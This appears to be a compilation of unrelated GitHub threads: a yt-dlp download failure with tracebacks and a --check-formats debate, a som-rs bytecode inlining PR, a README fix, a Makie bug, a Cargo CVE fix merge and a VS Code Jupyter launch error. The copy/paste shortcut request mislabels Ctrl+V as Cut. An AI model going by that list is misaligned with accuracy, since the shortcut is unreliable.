[debug] Invoking dashsegments downloader on "https://manifest.googlevideo.com/api/manifest/dash/expire/1692240518/ei/JjbdZPqTHIKP1gLX_4vgCw/ip/2003%3Af5%3Acf12%3Ac533%3Adea6%3A32ff%3Afe17%3A7a9e/id/317e2fc6ec047cfa/source/youtube/requiressl/yes/playback_host/rr2---sn-4g5ednsy.googlevideo.com/mh/Mn/mm/31%2C29/mn/sn-4g5ednsy%2Csn-4g5e6nze/ms/au%2Crdu/mv/m/mvi/2/pl/35/hfr/all/as/fmp4_audio_clear%2Cwebm_audio_clear%2Cwebm2_audio_clear%2Cfmp4_sd_hd_clear%2Cwebm2_sd_hd_clear/initcwndbps/1613750/spc/UWF9f1zhVLs5YetYOeEzCmdNg9n7ZpWqytg0ExtPfA/vprv/1/mt/1692218234/fvip/5/keepalive/yes/fexp/24007246/itag/0/sparams/expire%2Cei%2Cip%2Cid%2Csource%2Crequiressl%2Chfr%2Cas%2Cspc%2Cvprv%2Citag/sig/AOq0QJ8wRQIgPpNTeMlZ7RGbLf1VqRHIsXwySGFST3bYBq3LKeWzKqYCIQCZxImsG71Je6d83-H7topEbqOW5s2vqwp-7XAa4489JA%3D%3D/lsparams/playback_host%2Cmh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps/lsig/AG3C_xAwRgIhAL8uwOegk4Su_6Pfo6mJPr3qWtgGvzmP0zg93skYH6fOAiEA58wsekGy1UUNkApOusAnCD_vw7jztq3ufWwJLSmQLUg%3D"
[dashsegments] Total fragments: 43
[download] Destination: ./Trike - JOHN TRAVOLTA'S BALD ＊Original Music Video＊-MX4vxuwEfPo.f247.webm
[download] Got error: HTTP Error 500: Internal Server Error. Retrying (1/10)...
[download] Got error: HTTP Error 500: Internal Server Error. Retrying (2/10)...
[download] Got error: HTTP Error 500: Internal Server Error. Retrying (3/10)...
[download] Got error: HTTP Error 500: Internal Server Error. Retrying (4/10)...
[download] Got error: HTTP Error 500: Internal Server Error. Retrying (5/10)...
[download] Got error: HTTP Error 500: Internal Server Error. Retrying (6/10)...
[download] Got error: HTTP Error 500: Internal Server Error. Retrying (7/10)...
[download] Got error: HTTP Error 500: Internal Server Error. Retrying (8/10)...
[download] Got error: HTTP Error 500: Internal Server Error. Retrying (9/10)...
[download] Got error: HTTP Error 500: Internal Server Error. Retrying (10/10)...
[download] Got error: HTTP Error 500: Internal Server Error. Giving up after 10 retries
  File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/daten/yt_downloader2/yt-dlp/__main__.py", line 17, in <module>
    yt_dlp.main()
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/__init__.py", line 1008, in main
    _exit(*variadic(_real_main(argv)))
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/__init__.py", line 998, in _real_main
    return ydl.download(all_urls)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 3486, in download
    url, force_generic_extractor=self.params.get('force_generic_extractor', False))
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 3460, in wrapper
    res = func(*args, **kwargs)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 1549, in extract_info
    return self.__extract_info(url, self.get_info_extractor(key), download, extra_info, process)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 1560, in wrapper
    return func(self, *args, **kwargs)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 1709, in __extract_info
    return self.process_ie_result(ie_result, download, extra_info)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 1768, in process_ie_result
    ie_result = self.process_video_result(ie_result, download=download)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 2897, in process_video_result
    self.process_info(new_info)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 3345, in process_info
    partial_success, real_download = self.dl(fname, new_info)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 3084, in dl
    return fd.download(name, new_info, subtitle)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/common.py", line 461, in download
    ret = self.real_download(filename, info_dict)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/dash.py", line 60, in real_download
    return self.download_and_append_fragments_multiple(*args, is_fatal=lambda idx: idx == 0)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/fragment.py", line 390, in download_and_append_fragments_multiple
    return self.download_and_append_fragments(*args[0], **kwargs)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/fragment.py", line 529, in download_and_append_fragments
    download_fragment(fragment, ctx)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/fragment.py", line 478, in download_fragment
    ctx, fragment['url'], info_dict, headers, info_dict.get('request_data')):
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/fragment.py", line 129, in _download_fragment
    success, _ = ctx['dl'].download(fragment_filename, fragment_info_dict)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/common.py", line 461, in download
    ret = self.real_download(filename, info_dict)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/http.py", line 375, in real_download
    for retry in RetryManager(self.params.get('retries'), self.report_retry):
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/utils/_utils.py", line 5634, in __iter__
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/common.py", line 407, in report_retry
    suffix=f'fragment{"s" if frag_index is None else f" {frag_index}"}' if is_frag else None)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/utils/_utils.py", line 5641, in report_retry
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/common.py", line 405, in <lambda>
    error=IDENTITY if not fatal else lambda e: self.report_error(f'\r[download] Got error: {e}'),
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 1042, in report_error
    self.trouble(f'{self._format_err("ERROR:", self.Styles.ERROR)} {message}', *args, **kwargs)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 970, in trouble
    tb_data = traceback.format_list(traceback.extract_stack())

ERROR: fragment 1 not found, unable to continue
  File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/daten/yt_downloader2/yt-dlp/__main__.py", line 17, in <module>
    yt_dlp.main()
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/__init__.py", line 1008, in main
    _exit(*variadic(_real_main(argv)))
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/__init__.py", line 998, in _real_main
    return ydl.download(all_urls)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 3486, in download
    url, force_generic_extractor=self.params.get('force_generic_extractor', False))
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 3460, in wrapper
    res = func(*args, **kwargs)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 1549, in extract_info
    return self.__extract_info(url, self.get_info_extractor(key), download, extra_info, process)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 1560, in wrapper
    return func(self, *args, **kwargs)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 1709, in __extract_info
    return self.process_ie_result(ie_result, download, extra_info)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 1768, in process_ie_result
    ie_result = self.process_video_result(ie_result, download=download)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 2897, in process_video_result
    self.process_info(new_info)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 3345, in process_info
    partial_success, real_download = self.dl(fname, new_info)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 3084, in dl
    return fd.download(name, new_info, subtitle)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/common.py", line 461, in download
    ret = self.real_download(filename, info_dict)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/dash.py", line 60, in real_download
    return self.download_and_append_fragments_multiple(*args, is_fatal=lambda idx: idx == 0)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/fragment.py", line 390, in download_and_append_fragments_multiple
    return self.download_and_append_fragments(*args[0], **kwargs)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/fragment.py", line 531, in download_and_append_fragments
    decrypt_fragment(fragment, self._read_fragment(ctx)), fragment['frag_index'], ctx)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/downloader/fragment.py", line 494, in append_fragment
    self.report_error(f'fragment {frag_index} not found, unable to continue')
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 1042, in report_error
    self.trouble(f'{self._format_err("ERROR:", self.Styles.ERROR)} {message}', *args, **kwargs)
  File "/daten/yt_downloader2/yt-dlp/yt_dlp/YoutubeDL.py", line 970, in trouble
    tb_data = traceback.format_list(traceback.extract_stack())

[debug] Invoking http downloader on "https://rr5---sn-4g5e6nze.googlevideo.com/videoplayback?expire=1692240519&ei=JzbdZKapEcmOx_APnKGK0AU&ip=2003%3Af5%3Acf12%3Ac533%3Adea6%3A32ff%3Afe17%3A7a9e&id=o-AJl248NBdSdWcddfUySr4WL8u1ycSBC4SAvBl6aX7xbS&itag=251&source=youtube&requiressl=yes&mh=Mn&mm=31%2C29&mn=sn-4g5e6nze%2Csn-4g5ednsy&ms=au%2Crdu&mv=m&mvi=5&pl=35&initcwndbps=1627500&spc=UWF9fwvgZ9slS61flAq71gavHGMQcTk&vprv=1&svpuc=1&mime=audio%2Fwebm&gir=yes&clen=3224990&dur=207.561&lmt=1508114049854629&mt=1692218711&fvip=2&keepalive=yes&fexp=24007246&beids=24350018&c=ANDROID&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cgir%2Cclen%2Cdur%2Clmt&sig=AOq0QJ8wRgIhAJbJetsVfWtJesZeezSX65wYR-gMBiWCJqvfAnQkZLc4AiEA45vXMu4eebYI2reiz4pBm1yea4pIaqNa377_b9i62Us%3D&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=AG3C_xAwRQIhAIZRim79pqNDyXpeOMQo-VxfkqYtVnm2yxrCe26N_R4qAiA2G24BKQErqRRIEmXlK34Zv1N5s-8SsxZ7TtyWB5lZ9g%3D%3D"
[download] Destination: ./Trike - JOHN TRAVOLTA'S BALD ＊Original Music Video＊-MX4vxuwEfPo.f251.webm
[download] 100% of    3.08MiB in 00:00:01 at 2.24MiB/s

There is a problem with format 247 on Youtube's end. Nothing we can do about it.
Usually  you could add --check-formats to your command and it would detect this sort of problem and auto-select the next best format, but that option is broken in 2023.07.06. Update to nightly if you want to be able to use it.
Or else you could add -f 136+251 (if you are ok with mkv) or 136+140 (if you want mp4) to your command to get alternate/working 720p formats

@bashonly

There is a problem with format 247 on Youtube's end. Nothing we can do about it.

In my case, the problem is with 244 format as well, but not only.

Shouldn't --check-formats be yt-dlp's default behavior?

Never was and never will be. You can add it to your config to make it your yt-dlp's default behavior, though

You can add it to your config to make it your yt-dlp's default behavior, though

I did that. But it took me several months (since I first noticed it; who knows for how long this has been a problem without me noticing, or for other people/services) to find the solution. This was unnecessary suffering, which for sure many are still going through without understanding how to solve it. Some people won't even notice a problem, especially when they are automatically downloading playlists for their archive (the error message disappears among other wall text of the output). They may think that everything is fine and have all the files, only to notice the absence of important videos when they actually need them and they are forever missing.
Even the people who notice the problem, most won't report anything and will suffer (to varying degrees) in silence. It still doesn't mean that they don't exist and their issue is irrelevant. I have noticed several topics about the same topic here popping regularly, topics/issues that would have been unnecessary (saving everybody's time, including yours) with reasonable automatic error-fixing defaults.
Just like here:
-R, --retries RETRIES           Number of retries (default is 10), or
                                "infinite"
--file-access-retries RETRIES   Number of times to retry on file access
                                error (default is 3), or "infinite"
--fragment-retries RETRIES      Number of retries for a fragment (default is
                                10), or "infinite" (DASH, hlsnative and ISM)

I don't understand why the same error-fixing default is not enabled with the missing video format. I don't understand, but would really like to understand.
I don't understand the existence of all the following options without one of them being a default:
--check-formats                 Make sure formats are selected only from
                                those that are actually downloadable
--check-all-formats             Check all formats for whether they are
                                actually downloadable
--no-check-formats              Do not check that the formats are actually
                                downloadable

If there are no enabling defaults, --no-check-formats is useless and can be removed to improve the readability/complexity of the code/documentation.

Never was and never will be.

Sounds like this topic has already been thoughtfully debated. Could you please link to that discussion or explain the reasoning here, so other people can forward to your explanation and you don't have to repeat it time after time?

I don't understand the existence of all the following options without one of them being a default:
--check-formats                 Make sure formats are selected only from
                                those that are actually downloadable
--check-all-formats             Check all formats for whether they are
                                actually downloadable
--no-check-formats              Do not check that the formats are actually
                                downloadable

--no-check-formats is close to being the default, but yt-dlp does sometimes check formats by default, e.g. if a youtube format potentially has DRM and it can't be known for certain until the variant m3u8 is read. This default behavior can then be overridden by --no-check-formats, where no check will be done and yt-dlp will throw if the format is not playable.

Could you please ... explain the reasoning here

Several reasons:

it makes the download process take longer and it causes more network requests, often without any benefit
it increases the number of disk writes, as a temp file is written to disk and then deleted for every checked format
expanding on (1) and (2): the network requests and disk writes are not always insignificant -- sometimes the smallest fragment able to be downloaded is several MB
it doesn't work with all sites, e.g. where the content host doesn't allow ranged downloads
it can cause issues such as #7894
it has never been default, and making it so would be unexpected and could break compatibility: e.g. formats are still checked even with --skip-download

Thank you for your answer. Now it can be referenced in the future. :+1:

it increases the number of disk writes, as a temp file is written to disk and then deleted for every checked format

Can't this be improved by keeping this initial checking in-memory?

If the program could write these temp files to /tmp then this would be great, because some systems have the /tmp dir mapped to RAM (to save SSD wear level)

it increases the number of disk writes, as a temp file is written to disk and then deleted for every checked format

Can't this be improved by keeping this initial checking in-memory?

That'd certainly be nice, but is difficult to currently implement

If the program could write these temp files to /tmp then this would be great, because some systems have the /tmp dir mapped to RAM (to save SSD wear level)

-P temp:/tmp

it increases the number of disk writes, as a temp file is written to disk and then deleted for every checked format
it doesn't work with all sites

So, it may be exclusively use for those sites that support something like that.
So, youtube dont provide the size of video prior of download? How 9xxxbuddy or other sites offer a full specs on the videos prior of downloading them from youtube? Then if this is the case, yt-dlp must choose the best available video format to download and thus not problem. Maybe i have not understand something...

@estatistics There is no way to know for sure if the download will succeed, unless you actually try downloading part of the video.

I think major sites must understand that archiving is the history of all of us. youtube and other services must welcome archiving fully. Have you contacted youtube to corporate with them for such problems?

@bashonly

expanding on (1) and (2): the network requests and disk writes are not always insignificant -- sometimes the smallest fragment able to be downloaded is several MB
it doesn't work with all sites, e.g. where the content host doesn't allow ranged downloads

Do you have any example of these? check-formats should still work due to 'test': True afaik

@pukkandan

sometimes the smallest fragment able to be downloaded is several MB

sorry it took me so long to respond; I wasn't immediately able to recall which specific sites this happens with, and was waiting until my extractor work reminded me:
$ python test/test_download.py TestDownload.test_KickVOD
[debug] Loaded 1808 extractors
[KickVOD] Setting up session
[KickVOD] Extracting URL: https://kick.com/video/58bac65b-e641-4476-a7ba-3707a35e60e3
[KickVOD] 58bac65b-e641-4476-a7ba-3707a35e60e3: Downloading API JSON
[KickVOD] 58bac65b-e641-4476-a7ba-3707a35e60e3: Downloading m3u8 information
[debug] Formats sorted by: hasvid, ie_pref, lang, quality, res, fps, hdr:12(7), vcodec:vp9.2(10), channels, acodec, size, br, asr, proto, vext, aext, hasaud, source, id
[info] 58bac65b-e641-4476-a7ba-3707a35e60e3: Downloading 1 format(s): 1080p60
[info] Writing video metadata as JSON to: test_KickVOD_58bac65b-e641-4476-a7ba-3707a35e60e3.info.json
[debug] Invoking hlsnative downloader on "https://stream.kick.com/ivs/v1/196233775518/NScRQQJKXxXa/2024/4/2/13/5/FVvT1xOPpBb5/media/hls/1080p60/playlist.m3u8"
[hlsnative] Downloading m3u8 manifest
[hlsnative] Total fragments: 2709
[download] Destination: test_KickVOD_58bac65b-e641-4476-a7ba-3707a35e60e3.mp4
[download] 100% of   12.66MiB in 00:00:00 at 17.14MiB/s

$ yt-dlp  --skip-download --check-formats -v 'https://kick.com/video/58bac65b-e641-4476-a7ba-3707a35e60e3'
# ...
[KickVOD] Setting up session
[KickVOD] Extracting URL: https://kick.com/video/58bac65b-e641-4476-a7ba-3707a35e60e3
[KickVOD] 58bac65b-e641-4476-a7ba-3707a35e60e3: Downloading API JSON
[KickVOD] 58bac65b-e641-4476-a7ba-3707a35e60e3: Downloading m3u8 information
[debug] Formats sorted by: hasvid, ie_pref, lang, quality, res, fps, hdr:12(7), vcodec:vp9.2(10), channels, acodec, size, br, asr, proto, vext, aext, hasaud, source, id
[debug] Default format spec: bestvideo*+bestaudio/best
[info] Testing format 1080p60
[hlsnative] Downloading m3u8 manifest
[hlsnative] Total fragments: 2709
[download] Destination: /tmp/tmpyzbokt52.tmp
[download] 100% of   12.66MiB in 00:00:00 at 35.51MiB/s
[info] Testing format 1080p60
[hlsnative] Downloading m3u8 manifest
[hlsnative] Total fragments: 2709
[download] Destination: /tmp/tmprbr0l1c6.tmp
[download] 100% of   12.66MiB in 00:00:00 at 43.10MiB/s
[info] 58bac65b-e641-4476-a7ba-3707a35e60e3: Downloading 1 format(s): 1080p60

it doesn't work with all sites, e.g. where the content host doesn't allow ranged downloads

Pretty sure I was mistaken about this, though. Ignore

diff --git a/yt_dlp/downloader/fragment.py b/yt_dlp/downloader/fragment.py
index b4f003d37..3141d2850 100644
--- a/yt_dlp/downloader/fragment.py
+++ b/yt_dlp/downloader/fragment.py
@@ -168,7 +168,6 @@ def _prepare_frag_download(self, ctx):
         dl = HttpQuietDownloader(self.ydl, {
             **self.params,
             'noprogress': True,
-            'test': False,
             'sleep_interval': 0,
             'max_sleep_interval': 0,
             'sleep_interval_subtitles': 0,

fixes the issue. The test=False was added for #3434, but I can't reproduce it anymore


fix: bump core version to 9.17.2

PR summary
This PR just bumps up the java core version to 9.17.2 and okhttp to 4.9.3
PR Checklist
Please make sure that your PR fulfills the following requirements:

[ ] The commit message follows the Angular Commit Message Guidelines.
[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

Current vs new behavior

Does this PR introduce a breaking change?

[ ] Yes
[ ] No

Other information

:tada: This PR is included in version 0.24.3 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Inlining of (not all) control flow structures

Calls to:

ifTrue:
ifFalse:
ifTrue:ifFalse
ifFalse:ifTrue
whileTrue:
whileFalse:

...are no longer treated as method calls and their instructions are inlined into the previous scope. This relies on several JumpX bytecodes which modify the bytecode index to go back/further in the body of the method being executed.
Some inlined control flow structures are missing, e.g. to:do, and:, etc. But I'm optimistic they're easy to implement since the logic they rely on should already be present in this PR.
I'm not sure what the speedup is as of yet, but it can be pushed further than it is right now since it has a few shortcomings and design decisions I'm unsure of: those are usually marked by a TODO comment in my code. I especially dislike the change I had to do to som-interpreter-bc/src/block.rs. In short, it's almost ready for merging, and since it's functional on my machine (I may have missed stuff though!) I figured it was time to at least open the PR, to show that these changes do exist.
I had started this work a year ago for fun and then dropped it. I picked it up recently since I was considering using som-rs for some research.
Also now that I'm typing all this out, I realize this PR also contains some specialized bytecode like PushConstant[0|1|2] or Send[1|2|3] which I also implemented a year ago... Additionally, I implemented the halt: primitive and removed the bytecode for it. Let me know if you want those changes to be proposed in their own PR.
Let me know what you think. I don't know when I'll do the finishing touches for it, but hopefully soon.

Just for reference, here a few notes on the performance differences it made for PySOM:

https://github.com/SOM-st/PySOM/pull/34
https://github.com/SOM-st/PySOM/pull/32

Hm, yeah, so, for the #whileTrue: with restart, looking at https://github.com/SOM-st/SOM/blob/master/Smalltalk/Block.som#L38-L42
This is still various method invocations instead of straight-line bytecode.
At least for a naive benchmark like the following, I'd expect a speedup from turning it into bytecodes:
foo = (
  | cnt |
  cnt := 0.
  [ cnt < 100000000 ] whileTrue: [
    cnt := cnt + 1.
  ]
)

After looking at the PR, I'd also recommend to add some basic tests, perhaps like: https://github.com/SOM-st/PySOM/blob/master/tests/test_bytecode_generation.py#L875
This is me encouraging testing after having been bitten by bugs one too many times...

It's definitely lacking new tests, yeah. Inlining is too pervasive and finicky for me not to add some safety checks, I do need to do that as well. Thanks!

Not sure those results are correct, btw. I'm getting much, much faster results on my own benchmark setup

Hey !
I'm sorry about the benchmark results, I didn't properly account for PRs that are coming from forks, which causes my naive git checkout "${HEAD_COMMIT_SHA}" to fail since the commit is not in the local tree.
So both the baseline and head in the previous results were actually measuring the exact same binary (the one from the current master branch), which explains the absence of a speedup.
We can discard them, and I'll go ahead and try to fix that problem for next time, I'll keep you updated for when the fix is done.
I'm sorry about the confusion it caused.
I'll also work towards making the setup open-source for more transparency, after some tidying up and removing the secrets access tokens from inside the scripts.

I've also ran the benchmarks on my machine and I observed a 1.42x speedup overall, which is quite impressive !
Thank you very much for continuing this work, it is really neat to see the better bytecode paying off like this.

I've also ran the benchmarks on my machine and I observed a 1.42x speedup overall, which is quite impressive ! Thank you very much for continuing this work, it is really neat to see the better bytecode paying off like this.

Thanks! I'm observing similar results. They can be pushed further by A) inlining other control flow structures, which should be easier now that the architecture for it has been put into place (or:, and: with their short-circuiting, to:do most importantly) and B) improving the inlining implementation itself since I cut a few corners (not sure how much my design decisions lead to slowdowns though, but hopefully not)?
But:

I'm observing a massive slowdown on NBody from these changes for some reason
I do need to write tests for all this...

Also JFYI, I mentioned a specialized bytecodes branch in the original message, I did create it and that's roughly a 9% speedup. I should open a PR for that.
The BC tests are failing since it's not using the correct core-lib version (though I've no idea why the AST interp fail?). I've got another branch fixing-inlining-no-pr which is this one but a bit further along (I stopped committing to the PR branch to not trigger more benchmark runs!) that uses the right version, but some tests will still fail since the new core-lib breaks som-rs in general on a few benchmarks (Fannkuch and DeltaBlue I believe). I haven't really looked into why that is.

The benchmarker should now be fixed, you should be able to get correct benchmark results from now on.
I've also released its source code as a GitHub Gist.

The BC tests are failing since it's not using the correct core-lib version (though I've no idea why the AST interp fail?)

It seems that, as part of this PR, you updated the commit of the core-lib submodule back to a commit from 2021 (b0c4abf), where before it was a commit from 2023 (afd5a63).
Between these two commits, the behaviour of = between symbols and strings with the same text changed from being falsy to now being truthy.
So, simply dropping the core-lib reference change should take care of fixing the CI, atleast for the AST interpreter.
The CI for the ReBench benchmarks also fails due to a change you made to the rebench.conf file which references a local ReBenchDB instance that I would guess you used for local testing.
Excluding that change should fix that other issue as well.

some tests will still fail since the new core-lib breaks som-rs in general on a few benchmarks (Fannkuch and DeltaBlue I believe).

Running the benchmarks locally using rebench (using rebench --clean --disable-data-reporting ...) works fine for me.
It seems to simply be a matter of the benchmark parameters in run_benchmarks.sh (1 0 7) being inadequate for these two benchmarks.
These benchmarks always give me an error when 0 is its second argument.
Replacing that 0 with 1 fixes this issue and all benchmarks can run successfully.
I believe this argument specifies the number of inner iterations, which could explain why 0 causes issues.

Also JFYI, I mentioned a specialized bytecodes branch in the original message, I did create it and that's roughly a 9% speedup. I should open a PR for that.

Oh nice, that would be very cool to see indeed.

Just added and/or inlining, which is an extra 17% or so!
Thanks for fixing the benchmark runner. Also w.r.t the specialized bytecode branch, here it is: #40.

The CI for the ReBench benchmarks also fails due to a change you made to the rebench.conf file which references a local ReBenchDB instance that I would guess you used for local testing.
Excluding that change should fix that other issue as well.

Oops, my bad. Will fix that one.

It seems to simply be a matter of the benchmark parameters in run_benchmarks.sh (1 0 7) being inadequate for these two benchmarks.
These benchmarks always give me an error when 0 is its second argument.
Replacing that 0 with 1 fixes this issue and all benchmarks can run successfully.
I believe this argument specifies the number of inner iterations, which could explain why 0 causes issues.

Ah, that does make sense. I thought it was a bug, but it's nice that it doesn't seem to be.

Patches to the SOM benchmark harness or specific benchmarks to give more useful feedback are always welcome :)
And indeed, some benchmarks don't work with all possible parameters. And yeah, zero iterations should probably also produce a warning to the user. Since it's likely an intended error :)
(Especially since quite a while ago (multiple years, I believe) I changed the harness to not support warmup anymore, since I think it should be handled outside the harness and supporting it leads to unexpected recompilation by a JIT. Removing it also meant removing the middle 0 as command line parameter)

Yeah, thinking about it, I've no idea why I was telling it to do 0 inner iterations. I'll consider submitting some changes to the benchmark harness since those errors confounded me for longer than I care to admit

Feel free to review that one as is. It's got a lot of stuff to improve upon, but I'd appreciate initial feedback since there are currently a number of design decisions I'm unsure about, and which I'm positive you'll identify and possibly find flaws in.
Sent you an email regarding the AST interpreter, btw!


Small bugfix in the example code on README.md file

Last line of the example code in README.md had a small bug. Instead of instead of fa.dividends(..) it was just dividends(), so it was giving error that dividend function is not defined when I was trying to run the code.

Are you sure this is the case? I just ran this function myself and it works perfectly fine. Are you on version 0.2.12 of the package?

Perhaps you imported the package the following way?
from FundamentalAnalysis import *

Oh. I meant the example code that you have in the readme.md file.. Just a trivial spelling mistake there in the last line
`stock_data_detailed = fa.stock_data_detailed(ticker, api_key, begin="2000-01-01", end="2020-01-01")
Download dividend history
dividends = stock_dividend(ticker, api_key, begin="2000-01-01", end="2020-01-01")`

Also, I think the quarterly data is not available through free api key. You may want to mention that in the readme file.

Good catch, changed the README.


Density 'direction=:y' not working on latest release

Consider this example. https://beautiful.makie.org/dev/examples/aog/density_ridges the second one should be rotated.

Did that work before? density uses AoGs own LinesFill plot type and that doesn't implement direction I think.

Yes, in the previous version, it used to work.


Basic Commands: Copy, Cut & Paste

It's useful to have this shortcut if you want to duplicate the figure or drawing you've made.
Ctrl + V: Cut
Ctrl + C: Copy
Ctrl + V: Paste

Hi @Rodielm . This has been added in commit c454e08a01be14a2952e008260ecbf07d7eb7db0. Thanks!


[master] Fix for CVE-2022-36113 and CVE-2022-36114

This PR includes the fixes for CVE-2022-36113 and CVE-2022-36114 targeting the master branch. See the advisory for more information about the vulnerabilities.

@bors r+

:pushpin: Commit 0bf436d0d2ca03dbe8a6a3636f7415750f78a2d7 has been approved by weihanglo
It is now in the queue for this repository.

:hourglass: Testing commit 0bf436d0d2ca03dbe8a6a3636f7415750f78a2d7 with merge 9ef926dafc217bf4ab781ea2d9bbd029359bd241...

:sunny: Test successful - checks-actions
Approved by: weihanglo
Pushing 9ef926dafc217bf4ab781ea2d9bbd029359bd241 to master...


Failed to start the Kernel.  Jupyter notebook failed to launch.

Environment data

VS Code version: 1.85.1
Jupyter Extension version (available under the Extensions sidebar): 2023.11.1100101639
Python Extension version (available under the Extensions sidebar): 2023.22.1
Pylance Extension Version: 2023.12.1
OS (Windows | Mac | Linux distro) and version: linux (arm64)
Python and/or Anaconda version:  3.9.2
Type of virtual environment used (N/A | venv | virtualenv | conda | ...): venv
Jupyter server running: Local | Remote | N/A: running local

Logs:
`Visual Studio Code (1.85.1, undefined, desktop)
Jupyter Extension Version: 2023.11.1100101639.
Python Extension Version: 2023.22.1.
Pylance Extension Version: 2023.12.1.
Platform: linux (arm64).
Workspace folder /home/GLO, Home = /home/GLO
13:02:50.155 [warn] Exception while attempting zmq : /lib/aarch64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/node_modules/zeromq/prebuilds/linux-arm64/node.napi.glibc.node)
13:02:50.157 [warn] Exception while attempting zmq (fallback) : Cannot find module 'node-gyp-build'
Require stack:

~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/node_modules/zeromqold/lib/native.js
~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/node_modules/zeromqold/lib/index.js
~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/extension.node.js
~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/extension.node.proxy.js
/usr/share/code/resources/app/out/vs/loader.js
/usr/share/code/resources/app/out/bootstrap-amd.js
/usr/share/code/resources/app/out/bootstrap-fork.js

13:02:51.855 [info] Start refreshing Kernel Picker<PHONE_NUMBER>855)
13:02:51.901 [info] Using Pylance
13:02:52.286 [info] Start refreshing Interpreter Kernel Picker
13:03:00.216 [info] Starting Kernel startUsingPythonInterpreter, .jvsc74a57bd031f2aee4e71d21fbe5cf8b01ff0e069b9275f58929596ceb00d14d90e3e16cd6./usr/bin/python3./usr/bin/python3.-m#ipykernel_launcher  (Python Path: /usr/bin/python3, Unknown, 3.9.2) for '~/Python-Projects/Data_Science_projects/Pandas_Tutorial/EDA.ipynb' (disableUI=true)
13:03:01.459 [warn] Failed to get activated env vars for /usr/bin/python3 in 1249ms
13:03:01.557 [info] Process Execution: /usr/bin/python3 -c "import site;print("USER_BASE_VALUE");print(site.USER_BASE);print("USER_BASE_VALUE");"
13:03:02.231 [info] Process Execution: ~/.venv/bin/python -c "import jupyter;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
13:03:02.311 [info] Process Execution: ~/.venv/bin/python -c "import notebook;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
13:03:02.409 [info] Process Execution: ~/.venv/bin/python -m pip list
13:03:02.581 [info] Process Execution: ~/.venv/bin/python -m jupyter kernelspec --version
13:03:02.645 [info] Process Execution: /usr/bin/python3 -m pip list
13:03:04.294 [info] End refreshing Kernel Picker<PHONE_NUMBER>855)
13:03:07.759 [info] Launching server
13:03:07.816 [info] Starting Notebook
13:03:07.930 [error] Failed to start the Jupyter Server Error: Jupyter notebook failed to launch.
{0}
